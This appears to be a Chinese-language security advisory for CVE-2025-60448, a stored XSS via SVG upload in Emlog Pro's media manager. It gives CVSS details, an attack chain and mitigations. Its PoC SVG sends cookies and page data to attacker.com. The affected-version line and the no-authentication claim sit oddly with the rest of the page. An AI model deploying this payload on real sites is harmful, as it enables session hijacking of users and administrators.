IPBUF安全漏洞报告
English
CVE-2025-60448 CVSS 6.1 中危

CVE-2025-60448:Emlog Pro 2.5.19 SVG文件上传存储型XSS漏洞

披露日期: 2025-10-03

漏洞信息

漏洞编号
CVE-2025-60448
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Emlog Pro

相关标签

XSS存储型XSSSVG上传文件上传漏洞Emlog Pro博客系统Web安全CVE-2025-60448中危漏洞

漏洞概述

CVE-2025-60448是Emlog Pro 2.5.19版本中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞于2025年10月3日由MITRE组织披露,CVSS 3.1评分为6.1分,属于中危级别漏洞。

Emlog Pro是一款基于PHP和MySQL的轻量级个人博客系统,在国内拥有广泛的用户群体。该漏洞存在于系统的/admin/media.php媒体管理组件中,具体问题出在SVG文件上传功能的安全验证机制上。SVG(Scalable Vector Graphics)是一种基于XML的矢量图形格式,由于其本质上是一个XML文档,因此可以包含JavaScript脚本代码。当用户上传恶意构造的SVG文件时,如果服务器端未对文件内容进行充分的安全过滤和验证,攻击者便可以将恶意JavaScript代码嵌入到SVG文件中。

该漏洞的危害在于其存储型特性——恶意SVG文件被上传后会被持久化保存在服务器上,任何后续访问该文件的用户(包括管理员)都会自动执行其中的恶意脚本。攻击者可以利用此漏洞窃取用户会话Cookie、进行钓鱼攻击、篡改页面内容或执行其他恶意操作。由于漏洞位于管理后台的媒体管理组件,攻击成功后可能对整个博客系统造成进一步的安全威胁。

技术细节

该漏洞的技术原理在于Emlog Pro 2.5.19的/admin/media.php组件在处理用户上传的SVG文件时,未对SVG文件内容进行充分的安全验证和过滤。

SVG文件本质上是一个XML文档,其根元素为<svg>,可以包含<script>标签或事件处理器属性(如onload、onclick等)。当浏览器渲染SVG文件时,会执行其中包含的JavaScript代码。由于/admin/media.php组件仅对上传文件的扩展名进行了简单的检查,未对文件内容进行MIME类型验证或恶意代码过滤,攻击者可以上传包含恶意JavaScript代码的SVG文件。

漏洞利用方式如下:
1. 攻击者构造一个包含恶意JavaScript代码的SVG文件,例如在SVG标签中添加onload事件处理器或嵌入<script>标签;
2. 通过/admin/media.php组件上传该恶意SVG文件到服务器;
3. 服务器将SVG文件存储在媒体库中,并生成对应的访问URL;
4. 当其他用户(尤其是管理员)通过浏览器访问该SVG文件的URL时,浏览器会渲染SVG并自动执行其中的恶意JavaScript代码;
5. 恶意代码可以在受害者的浏览器上下文中执行任意操作,如窃取Cookie、会话令牌,或执行进一步的攻击。

该漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N,表示该漏洞通过网络即可利用,攻击复杂度低,无需特殊权限,但需要用户交互(如点击链接或访问页面)。漏洞的影响范围为Changed(范围已变更),因为XSS攻击影响了受害者的浏览器安全上下文。

攻击链分析

STEP 1
步骤1:构造恶意SVG文件
攻击者创建一个包含恶意JavaScript代码的SVG文件,可以通过onload事件处理器或内嵌<script>标签实现。当浏览器渲染该SVG时,恶意代码将自动执行。
STEP 2
步骤2:上传恶意文件
攻击者通过Emlog Pro的/admin/media.php媒体管理组件上传构造好的恶意SVG文件。由于服务器端未对SVG内容进行安全验证,文件被成功上传并存储到服务器。
STEP 3
步骤3:诱导受害者访问
攻击者通过各种方式(如钓鱼邮件、社交工程等)诱导目标用户(尤其是管理员)访问上传的恶意SVG文件的URL链接。
STEP 4
步骤4:执行恶意代码
当受害者通过浏览器访问恶意SVG文件时,浏览器渲染SVG内容并自动执行其中嵌入的JavaScript代码,代码在受害者的浏览器上下文中运行。
STEP 5
步骤5:数据窃取与进一步攻击
恶意JavaScript代码窃取受害者的会话Cookie、会话令牌等敏感信息,并将数据发送到攻击者控制的服务器。攻击者可以利用窃取的会话信息冒充受害者身份执行进一步的攻击操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-60448 PoC: Stored XSS via SVG File Upload in Emlog Pro 2.5.19 --> <!-- Save the following content as malicious.svg and upload via /admin/media.php --> <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" onload="alert(document.cookie);window.location='http://attacker.com/steal?cookie='+document.cookie"> <script type="text/javascript"> // Malicious JavaScript payload executed when SVG is rendered var img = new Image(); img.src = "http://attacker.com/steal?cookie=" + document.cookie + "&url=" + window.location.href; // Alternative: Steal admin session fetch('http://attacker.com/log', { method: 'POST', body: JSON.stringify({ cookies: document.cookie, url: window.location.href, userAgent: navigator.userAgent }) }); </script> <rect x="0" y="0" width="100" height="100" fill="red"/> <text x="10" y="50" font-size="14">Benign looking SVG</text> </svg>

影响范围

Emlog Pro < 2.5.19

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)在Web服务器层面配置规则,禁止执行上传目录中的SVG文件(如设置Content-Security-Policy: default-src 'self'或Content-Disposition: attachment响应头);2)修改/admin/media.php组件的代码,添加对SVG文件内容的JavaScript代码检测和过滤逻辑;3)限制只有管理员才能上传SVG文件,并记录所有上传操作以便审计;4)定期检查媒体库中已上传的SVG文件,删除可疑文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表